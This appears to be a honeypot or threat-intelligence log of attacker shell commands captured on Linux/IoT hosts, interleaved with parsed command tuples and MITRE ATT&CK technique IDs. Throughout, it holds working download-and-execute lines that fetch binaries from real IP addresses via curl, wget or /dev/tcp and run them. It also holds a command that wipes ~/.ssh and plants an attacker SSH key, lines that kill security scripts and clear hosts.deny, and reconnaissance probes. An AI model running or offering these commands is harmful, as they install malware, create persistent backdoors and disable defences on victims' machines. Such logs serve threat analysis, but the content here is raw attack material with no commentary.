kSd1aLx4+hXJCXYAlP0y5Z4OdxbNFutitnR1NOjyN2prtGTxF80WdA2E4Dj9khZ2H8kP+m+wYHI37ew3ZGKrZPoZ0xV3C4rnMemSCHYXzwH/YatocDXy7jdwdLxl8RfNFnYOhOc3/ZYMdQnKD/litGByN+3oM2Rrt2LlE88VaQmX4C7hlQx9Ec0Q/2SlbnMp7ug0amu3YeUWyR1xCJXhNfOcFnUWyg/5ZLB0fTPm6jd1aLN2/xbTFXMKiuI4/ZIBfRHNEP9upW5zKevqKXFqq2P4G8sXdgqd8zTkigpzFdMQ82Sra3w96uw2dmilbuUTzBdpCZXkLuGXCX0RzRD7bqViajXt6yl2brN4+hLOHXEIleIy85APaRXJEuVnvXR9M+bqN3Vqs3b/FtMVcwuK5zn9lgt+HcsR+mK8enI28uk2amiwZeUSzR1xCJXiMfOcFnUWyg/+b6trdjTm6jd1abV28w/PFn8WnOIu4pYKfRHNEPhnpWJqNe3rKXZvtnj5EMwdcQiV4jDzlwFpFssU5We9bWo25O89cmq0Zf4Bzxd0FpHlLueUFnUVyxv9ZrRudCfk8jV1aqtn/RDTFnQBnuUw4pcNZx/TE/puq2J2KerrPXJqtGb4AcwXdhaX4C7klxZ2E8ob/Wa0anUn5PI1dWKrZ/sT0xN+ApLjMeCQGH8JzxDzeLRrdino7D1yarRm8wHFCXUJnP054IoLch3LEfpntHp8Ke7tMGposWDlEM4UfQ6U4jHhhAxwCc8V+Hi0Ymo+6OYxdGu1YIWGdbedrQaECIBVJjoNKt6eHhKn9aXN+xjtMYFZeWQ=" &#UPX!

nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/WLSaHv63rm; if [ ! -f /tmp/WLSaHv63rm ]; then wget http://129.144.180.26:60107/linux -O /tmp/WLSaHv63rm; fi; if [ ! -f /tmp/WLSaHv63rm ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/WLSaHv63rm && chmod +x /tmp/WLSaHv63rm && /tmp/WLSaHv63rm kSd1aLx4+hXJCXYAlP0y5Z4OdxbNFutitnR1NOjyN2prtGTxF80WdA2E4Dj9khZ2H8kP+m+wYHI37ew3ZGKrZPoZ0xV3C4rnMemSCHYXzwH/YatocDXy7jdwdLxl8RfNFnYOhOc3/ZYMdQnKD/litGByN+3oM2Rrt2LlE88VaQmX4C7hlQx9Ec0Q/2SlbnMp7ug0amu3YeUWyR1xCJXhNfOcFnUWyg/5ZLB0fTPm6jd1aLN2/xbTFXMKiuI4/ZIBfRHNEP9upW5zKevqKXFqq2P4G8sXdgqd8zTkigpzFdMQ82Sra3w96uw2dmilbuUTzBdpCZXkLuGXCX0RzRD7bqViajXt6yl2brN4+hLOHXEIleIy85APaRXJEuVnvXR9M+bqN3Vqs3b/FtMVcwuK5zn9lgt+HcsR+mK8enI28uk2amiwZeUSzR1xCJXiMfOcFnUWyg/+b6trdjTm6jd1abV28w/PFn8WnOIu4pYKfRHNEPhnpWJqNe3rKXZvtnj5EMwdcQiV4jDzlwFpFssU5We9bWo25O89cmq0Zf4Bzxd0FpHlLueUFnUVyxv9ZrRudCfk8jV1aqtn/RDTFnQBnuUw4pcNZx/TE/puq2J2KerrPXJqtGb4AcwXdhaX4C7klxZ2E8ob/Wa0anUn5PI1dWKrZ/sT0xN+ApLjMeCQGH8JzxDzeLRrdino7D1yarRm8wHFCXUJnP054IoLch3LEfpntHp8Ke7tMGposWDlEM4UfQ6U4jHhhAxwCc8V+Hi0Ymo+6OYxdGu1YIWGdbedrQaECIBVJjoNKt6eHhKn9aXN+xjtMYFZeWQ=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/WLSaHv63rm && /tmp/WLSaHv63rm kSd1aLx4+hXJCXYAlP0y5Z4OdxbNFutitnR1NOjyN2prtGTxF80WdA2E4Dj9khZ2H8kP+m+wYHI37ew3ZGKrZPoZ0xV3C4rnMemSCHYXzwH/YatocDXy7jdwdLxl8RfNFnYOhOc3/ZYMdQnKD/litGByN+3oM2Rrt2LlE88VaQmX4C7hlQx9Ec0Q/2SlbnMp7ug0amu3YeUWyR1xCJXhNfOcFnUWyg/5ZLB0fTPm6jd1aLN2/xbTFXMKiuI4/ZIBfRHNEP9upW5zKevqKXFqq2P4G8sXdgqd8zTkigpzFdMQ82Sra3w96uw2dmilbuUTzBdpCZXkLuGXCX0RzRD7bqViajXt6yl2brN4+hLOHXEIleIy85APaRXJEuVnvXR9M+bqN3Vqs3b/FtMVcwuK5zn9lgt+HcsR+mK8enI28uk2amiwZeUSzR1xCJXiMfOcFnUWyg/+b6trdjTm6jd1abV28w/PFn8WnOIu4pYKfRHNEPhnpWJqNe3rKXZvtnj5EMwdcQiV4jDzlwFpFssU5We9bWo25O89cmq0Zf4Bzxd0FpHlLueUFnUVyxv9ZrRudCfk8jV1aqtn/RDTFnQBnuUw4pcNZx/TE/puq2J2KerrPXJqtGb4AcwXdhaX4C7klxZ2E8ob/Wa0anUn5PI1dWKrZ/sT0xN+ApLjMeCQGH8JzxDzeLRrdino7D1yarRm8wHFCXUJnP054IoLch3LEfpntHp8Ke7tMGposWDlEM4UfQ6U4jHhhAxwCc8V+Hi0Ymo+6OYxdGu1YIWGdbedrQaECIBVJjoNKt6eHhKn9aXN+xjtMYFZeWQ=" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TFAHH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QFFDE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XOFSZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CTRUH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GIYWB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YKAWM


/bin/busybox cat /proc/self/exe || cat /proc/self/exe


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AAXYM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VPLCO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LCGGU


dd if=/proc/self/exe bs=22 count=2 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('dd if || while ; do echo ; done || cat ;',)


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


screen
ls
sudo su
apt install
install
lscpu
help
apt install screen

('screen', 'ls', 'sudo', 'apt', 'install', 'lscpu', 'help', 'apt')

T1083 File and Directory Discovery
T1548 Abuse Elevation Control Mechanism
T1105 Ingress Tool Transfer
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://141.98.10.76/booters.sh; wget http://141.98.10.76/booters.sh; curl -O http://141.98.10.76/booters.sh; chmod 777 booters.sh; sh booters.sh

('cd || cd || cd || cd || cd ; busybox wget ; wget ; curl -O ; chmod ; sh',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DCGEV

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PIHVR


nohup $SHELL -c "curl http://8.218.32.226:60135/linux -o /tmp/3K8PaVfRC4; if [ ! -f /tmp/3K8PaVfRC4 ]; then wget http://8.218.32.226:60135/linux -O /tmp/3K8PaVfRC4; fi; if [ ! -f /tmp/3K8PaVfRC4 ]; then exec 6<>/dev/tcp/8.218.32.226/60135 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/3K8PaVfRC4 && chmod +x /tmp/3K8PaVfRC4 && /tmp/3K8PaVfRC4 6Lece0NUeJmjh5ivnWdITHObp5iZoI14Q0pnnKWah6OYZ0JMc5unmJ2ljXhMQmecppCHppp6VE5xl6GZmKOfaUJUe5ygh5ulnWdLQ36XoZmYo5lpTk1nn6Obh66YZ0tPcJehmZiklWlCVHucoIebop1nQkhzm6eYna+NeE9KZ5+lmoeimmdIS3uXoZmYpJxpTEtnnKGZh6Wce1RIepmtn5mmnX1aQmefppmHpZ98VEhwl6GZmKaZaUJUe5ynh5uin2dLT36XoZmYo51pTk1nn6Obh6aVZ0xDc5unmJ2vjXFUSHiVuZiao4N4S01zm6eYnaWNcVRIeJq5mJClg3tNQH+dpp2bt5VnSEtxg6Sbh6Wff0BMeZyknImvg3tLSmeZuZuapZd/Skt4mbeRh6WceVRLf5m5m5qil39KS3qUt5GHpZ97VEt+m7mdnK2beUtLeY2vh5iklWdCSmecppCToZ14SEhplbmbmKeDe0hPZ5+uk5+nnHhOWn2auZiZoIN4T0hnn6aRk6GdeEhPaZynmIeknmdNSWeco56ToZ14SktplaWHmKKaZ09JZ5+lkJOhnXhLS2mZoIebpJtnS0x9g6CQk6GdeEpIaZmgh5ujnmdISH+DppiZrZt5S0l/jaOeh6WZe1RPf4OmmZutm3lLSn2NppqauZ99SFR/lbmYn6KXf0pLfZm3nZ65n31JVHifr4ebpZd/Skt7m7ednrmffUhUcJi5m5iil39KS3uYt52euZR+VEt+m7mYmaKXf0pLepy3mJqjg3tKQ2ear4efo5d/Skt6m+fSzVCN9xlgRU6Qmg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/3K8PaVfRC4 && /tmp/3K8PaVfRC4 6Lece0NUeJmjh5ivnWdITHObp5iZoI14Q0pnnKWah6OYZ0JMc5unmJ2ljXhMQmecppCHppp6VE5xl6GZmKOfaUJUe5ygh5ulnWdLQ36XoZmYo5lpTk1nn6Obh66YZ0tPcJehmZiklWlCVHucoIebop1nQkhzm6eYna+NeE9KZ5+lmoeimmdIS3uXoZmYpJxpTEtnnKGZh6Wce1RIepmtn5mmnX1aQmefppmHpZ98VEhwl6GZmKaZaUJUe5ynh5uin2dLT36XoZmYo51pTk1nn6Obh6aVZ0xDc5unmJ2vjXFUSHiVuZiao4N4S01zm6eYnaWNcVRIeJq5mJClg3tNQH+dpp2bt5VnSEtxg6Sbh6Wff0BMeZyknImvg3tLSmeZuZuapZd/Skt4mbeRh6WceVRLf5m5m5qil39KS3qUt5GHpZ97VEt+m7mdnK2beUtLeY2vh5iklWdCSmecppCToZ14SEhplbmbmKeDe0hPZ5+uk5+nnHhOWn2auZiZoIN4T0hnn6aRk6GdeEhPaZynmIeknmdNSWeco56ToZ14SktplaWHmKKaZ09JZ5+lkJOhnXhLS2mZoIebpJtnS0x9g6CQk6GdeEpIaZmgh5ujnmdISH+DppiZrZt5S0l/jaOeh6WZe1RPf4OmmZutm3lLSn2NppqauZ99SFR/lbmYn6KXf0pLfZm3nZ65n31JVHifr4ebpZd/Skt7m7ednrmffUhUcJi5m5iil39KS3uYt52euZR+VEt+m7mYmaKXf0pLepy3mJqjg3tKQ2ear4efo5d/Skt6m+fSzVCN9xlgRU6Qmg==" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GDRZI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KNLBH


nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/av3SAbTvct; if [ ! -f /tmp/av3SAbTvct ]; then wget http://218.3.177.39:60120/linux -O /tmp/av3SAbTvct; fi; if [ ! -f /tmp/av3SAbTvct ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/av3SAbTvct && chmod +x /tmp/av3SAbTvct && /tmp/av3SAbTvct RKJHLaoBJWLekDGG2ngmGakpRrM1MqJHKasBJWfTkDGJ2XggF6kpRrMxN6JHJqMBJWTZkDSLxG4iFaUvR7Y3JbdOMaEfLXjYjTSQ02AuGaMuRbIlMbVYLqMWOmfejS6P2G8uGaMuRbIlNLFFMaEbJnjchi6P3GMuGaMuQrYlPaxELqMBJWDekDKN32wiH6IsT6I0M7FYLqQWOmDZkDGO0GAkHqEtVrM3N6xELaUBIG/EjDCM0GAkHqMsVrMxK7NHKb0eLGHEjzKP0GAkHqcqVrM0NKxALL0bIHjcjDqI2mckGbMnWLA0NaxHLqQBJmXbhDaO22YsD6coWLA2M6xHKaMBJWzcjjGP3XYlHaYxTrorN7BAMacZLmDajzKPymQmHL0nQqw0MbFYLqsYLmDajzKGymItAaEsQqw8MqxELqcVImbbjjae2GcsAaAxR7UyK7FPJaUfJWTanjGO2XglHKcxTrsrNLFPJaUfJWXfnjSJxGQgHL0tRLQrPbVMKaMeJ2fKijeQ3WA6HaMmWLAyP7RGLqAbNGfbjS6M3ngiGb0oQLgzNbNGKrMXOmTbji6P2GI6HqouTLQ1NLFBP6sBJmfakDKM33glHqclQLI0N7tWLqEaOm7SkDKM3HggGakpRrM3NKJCKL0dJ2DEjzaMxG4sFaUvR7IwJbZBMaQZOmfeji6J2GwiH6IvT6I9K7BHJr0eIWbEjDOH0GAkHqAnVrM3N6xELaUBIG/EjDCM0GAkHqMsVrA1NaxHJqYBImHEhjKE3GYlG6s/Q7YrN7NPMaEYOmfSjDqI2mcmG0GRmCFCqygsCAnXt+J6PITRPu4TRFxJ; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/av3SAbTvct && /tmp/av3SAbTvct RKJHLaoBJWLekDGG2ngmGakpRrM1MqJHKasBJWfTkDGJ2XggF6kpRrMxN6JHJqMBJWTZkDSLxG4iFaUvR7Y3JbdOMaEfLXjYjTSQ02AuGaMuRbIlMbVYLqMWOmfejS6P2G8uGaMuRbIlNLFFMaEbJnjchi6P3GMuGaMuQrYlPaxELqMBJWDekDKN32wiH6IsT6I0M7FYLqQWOmDZkDGO0GAkHqEtVrM3N6xELaUBIG/EjDCM0GAkHqMsVrMxK7NHKb0eLGHEjzKP0GAkHqcqVrM0NKxALL0bIHjcjDqI2mckGbMnWLA0NaxHLqQBJmXbhDaO22YsD6coWLA2M6xHKaMBJWzcjjGP3XYlHaYxTrorN7BAMacZLmDajzKPymQmHL0nQqw0MbFYLqsYLmDajzKGymItAaEsQqw8MqxELqcVImbbjjae2GcsAaAxR7UyK7FPJaUfJWTanjGO2XglHKcxTrsrNLFPJaUfJWXfnjSJxGQgHL0tRLQrPbVMKaMeJ2fKijeQ3WA6HaMmWLAyP7RGLqAbNGfbjS6M3ngiGb0oQLgzNbNGKrMXOmTbji6P2GI6HqouTLQ1NLFBP6sBJmfakDKM33glHqclQLI0N7tWLqEaOm7SkDKM3HggGakpRrM3NKJCKL0dJ2DEjzaMxG4sFaUvR7IwJbZBMaQZOmfeji6J2GwiH6IvT6I9K7BHJr0eIWbEjDOH0GAkHqAnVrM3N6xELaUBIG/EjDCM0GAkHqMsVrA1NaxHJqYBImHEhjKE3GYlG6s/Q7YrN7NPMaEYOmfSjDqI2mcmG0GRmCFCqygsCAnXt+J6PITRPu4TRFxJ" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MZSZC

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WOZJK

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AFQAB

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ONEPD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HVZAG

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NMAAV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GYTSR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SJOPI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PJPKY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IEPOO

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KJGBI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PNMOI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PHSBW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LKRYK


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

('uname', 'cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IGJFS

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/dAGJ1eSFfg; if [ ! -f /tmp/dAGJ1eSFfg ]; then wget http://129.144.180.26:60107/linux -O /tmp/dAGJ1eSFfg; fi; if [ ! -f /tmp/dAGJ1eSFfg ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/dAGJ1eSFfg && chmod +x /tmp/dAGJ1eSFfg && /tmp/dAGJ1eSFfg 94HmWob8NqqqKeOHWPmTjICX51mP5SemsDbhj0bmlYqUmOJSieI2rKcn4YZG5pePlJDvX5HjP62kMeKOW+KBi46P5lmJ/DWvpinhjFLhkYuLmPdciPwwqLAw4JFZ55iAjJHmWY3yM6mwNeGJRu6ZlIiR41KJ4jauqifjilj5k4iJj+JfkeA2rKQx4o5b5oGOjY/lXIz8NayoKeqIUuGRi4mQ91yI/DCosDLikV3km4yKkOVRn+oprK8//IZb+ZKPgJfnWY7jJ6qpKeCLW/mQiI2P4FyF5DevrDLyi1/5k46Jj+9akeMzqKQx4o5Y4oGClJPmWJHjNqmwMOuFXueQiomB5lCM/DKosDXhjkbimICMkeZbiPI2pq4p44lf+ZCNgo/uUIXkN6+qNvKHRuaSipSW5kaK6z2orjbgjUjmk4OUkONckeM/rrA15IVe55CKjYHlWY/8Na+pKeuORuaVgoCX51mL5yemsDXjh0bukpSLmeRSieI2rq0n449Z+ZCJiI/mWIv8NqypPeSPWeeXmouQ5EaN4jewrz7ikVngkYCMkeZZj/I2r6Yp449f+ZWJlJDgWYXkN6+tNfKNWe+PiZSQ4F+R4T6kqDfjjVj3mZSIkO9GjOAprKwx6IlY5pKPmpXgRoblKa+pMfyOWOKbjIqQ5Fmf4zSqsDXihkbgmZSMle1ej+M0qL4z5ZFa45OUjY/lXI7oMa6vM+afXOCPiImX+VmJ4SmvqD/oiVjmkYuamflajuopr6g+/I1Y75uMipDlWZ/kNrCvMeKRWuaTlIiS41KJ4jauqrW8sAOuO8Bu8MfpEWtnHQ/l9Q==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/dAGJ1eSFfg && /tmp/dAGJ1eSFfg 94HmWob8NqqqKeOHWPmTjICX51mP5SemsDbhj0bmlYqUmOJSieI2rKcn4YZG5pePlJDvX5HjP62kMeKOW+KBi46P5lmJ/DWvpinhjFLhkYuLmPdciPwwqLAw4JFZ55iAjJHmWY3yM6mwNeGJRu6ZlIiR41KJ4jauqifjilj5k4iJj+JfkeA2rKQx4o5b5oGOjY/lXIz8NayoKeqIUuGRi4mQ91yI/DCosDLikV3km4yKkOVRn+oprK8//IZb+ZKPgJfnWY7jJ6qpKeCLW/mQiI2P4FyF5DevrDLyi1/5k46Jj+9akeMzqKQx4o5Y4oGClJPmWJHjNqmwMOuFXueQiomB5lCM/DKosDXhjkbimICMkeZbiPI2pq4p44lf+ZCNgo/uUIXkN6+qNvKHRuaSipSW5kaK6z2orjbgjUjmk4OUkONckeM/rrA15IVe55CKjYHlWY/8Na+pKeuORuaVgoCX51mL5yemsDXjh0bukpSLmeRSieI2rq0n449Z+ZCJiI/mWIv8NqypPeSPWeeXmouQ5EaN4jewrz7ikVngkYCMkeZZj/I2r6Yp449f+ZWJlJDgWYXkN6+tNfKNWe+PiZSQ4F+R4T6kqDfjjVj3mZSIkO9GjOAprKwx6IlY5pKPmpXgRoblKa+pMfyOWOKbjIqQ5Fmf4zSqsDXihkbgmZSMle1ej+M0qL4z5ZFa45OUjY/lXI7oMa6vM+afXOCPiImX+VmJ4SmvqD/oiVjmkYuamflajuopr6g+/I1Y75uMipDlWZ/kNrCvMeKRWuaTlIiS41KJ4jauqrW8sAOuO8Bu8MfpEWtnHQ/l9Q==" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/qNoO3QcNSM', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZRHKC


cat /proc/mounts || busybox cat /proc/mounts

('sh', '..', 'linuxshell', 'enable', 'development', 'system', 'shell', 'ping ; sh', 'exec', 'echo', 'cat || busybox cat', 'echo -e >', 'cat || busybox cat', 'rm', 'echo', 'cd', 'rm -rf ; wget ; chmod +x ; ./')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VTLKZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IQGPE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AAKIT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XKWTJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SSLQM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IWSAZ


echo "/bin/busybox ERTJJ" | sh
/bin/busybox ERTJJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FAIZF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ITLPU


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VYXWR


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SKMZF

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


nohup $SHELL -c "curl http://133.242.68.165:60144/linux -o /tmp/RlaaTarcpO; if [ ! -f /tmp/RlaaTarcpO ]; then wget http://133.242.68.165:60144/linux -O /tmp/RlaaTarcpO; fi; if [ ! -f /tmp/RlaaTarcpO ]; then exec 6<>/dev/tcp/133.242.68.165/60144 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/RlaaTarcpO && chmod +x /tmp/RlaaTarcpO && /tmp/RlaaTarcpO k434oBmDZO2q2rc4ttqs72+bEKP5mv7vm/G8EZxs96/DtS6yzKTvZZwUoOmV8Oyc/rwSmGX3psa8NrbFquF1lQ6g+Jrw753nqxiXY+mvxLIgs8yw62GeDqv6g+vnl/+iEZln+abatDGx2qzrZYMRq/6X6O6c/aYAlXvrr8yoMbHHsOFtlxai+Jzr/pXnoBGVe+qs2rQysM6o6WSeFbL9mvDsnv+8EZtl96/OsDC3xan5YZoOoPqb8O+b/bwXlG/vrsW2MqbAqfdnnha8+Jvq8Jz6oRqbZeisxqY4qMav4HufFaDnnO7pl/+iEZlg+abatDG+2qzqZYMRp/uX6O6c+KQAnGbqsMayMqjCpvdkmxWo/53v6pnppheDZ+2t2rcysdqp7W+bEKP7mP7mg/ujEINn66vatzGyzqjpZJ8ZsvGD7O+V56AQm3vvrM6wMLfHp/lknBG8/57w6pnnpBKXY+mvxLAgssOw7mODEab5g+nsl/+iEZ1s+azFvi612q/uYoMTq/Ob7u+f+bIUmnvrqseoMrXBsOtklxai+Jnn/pXnoBGUe+urx6gxv8ak72WcE6Tpn+7ng/CjDp9n6rDDvjqwxK/pZY0Upeea6PCc/aIOnGfgpMK2MbfHvuhgnQ6g+57w65rnoBGfb++uxbUxpsau6nuYFrz9nfDsn/+oFp1k7a7UtTmozab3ZJ0ZvPuV5Oid+KEWjWTrq9q3MrLar+thgxWg85vu75z6shiDZ+iu2rQ1tNqv7GKXFqL4me7+mf68Ep5j96/Csi63x63jY50RoPu3Gd1i9oCMmjQ/XvrYy6pD2S3W8BS0adDH; fi; 